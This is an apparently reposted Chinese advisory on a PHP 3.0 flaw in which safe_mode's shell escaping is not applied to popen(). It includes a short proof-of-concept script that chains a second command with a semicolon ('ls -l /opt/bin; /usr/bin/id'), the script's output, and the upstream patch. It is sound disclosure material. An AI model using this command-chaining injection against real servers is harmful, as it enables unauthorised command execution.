广

PHP编程

  • IOS开发
  • android开发
  • PHP编程
  • JavaScript
  • ASP.NET
  • ASP编程
  • JSP编程
  • Java编程
  • 易语言
  • Ruby编程
  • Perl编程
  • AJAX
  • 正则表达式
  • C语言
  • 编程开发

    PHP3 safe_mode 失效漏洞

    2018-10-04 14:38:36 次阅读 稿源:互联网
    零七广告
    受影响的系统:  PHP 3.00  
    --------------------------------------------------------------------------------
    描述:

        PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
    PHP的特色。这个语言可以让web开发者快速创建动态网页。

        因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
    用于控制在允许PHP操作的webroot环境中执行命令。

        其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
    函数,此函数用于确认在webroot目录外部不能执行命令。

        在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
    以利用'popen'系统调用进行非法操作。

    --------------------------------------------------------------------------------
    测试程序:

    警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

    <?php
    $fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
    echo "$fp<br>n";
    while($line = fgets($fp, 1024)):
    printf("%s<br>n", $line);
    endwhile;
    pclose($fp);
    phpinfo();
    ?>

    输出结果如下:

    1
    total 53  
    -rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
    uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
    and from the configuration values of phpinfo():
    safe_mode 0 1  

    --------------------------------------------------------------------------------
    建议:  
    Index: functions/file.c
    ===================================================================
    RCS file: /repository/php3/functions/file.c,v
    retrieving revision 1.229
    retrieving revision 1.230
    diff -u -r1.229 -r1.230
    --- functions/file.c 2000/01/01 04:31:15 1.229
    +++ functions/file.c 2000/01/03 21:31:31 1.230
    @@ -26,7 +26,7 @@
    | Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
    +----------------------------------------------------------------------+
    */
    -/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
    +/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
    #include "php.h"
    #include <stdio.h>
    @@ -51,6 +51,7 @@
    #include "safe_mode.h"
    #include "php3_list.h"
    #include "php3_string.h"
    +#include "exec.h"
    #include "file.h"
    #if HAVE_PWD_H
    #if MSVC5

    @@ -575,7 +576,7 @@
    pval *arg1, *arg2;
    FILE *fp;
    int id;
    - char *p;
    + char *p, *tmp = NULL;
    char *b, buf[1024];
    TLS_VARS;

    @@ -600,7 +601,11 @@
    } else {
    snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
    }

    - fp = popen(buf,p);

    +
    + tmp = _php3_escapeshellcmd(buf);
    + fp = popen(tmp,p);
    + efree(tmp); /* temporary copy, no longer necessary */
    +
    if (!fp) {
    php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
    RETURN_FALSE;  

    零七网部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与零七网进行文章共享合作。

    零七广告
    零七广告
    零七广告
    零七广告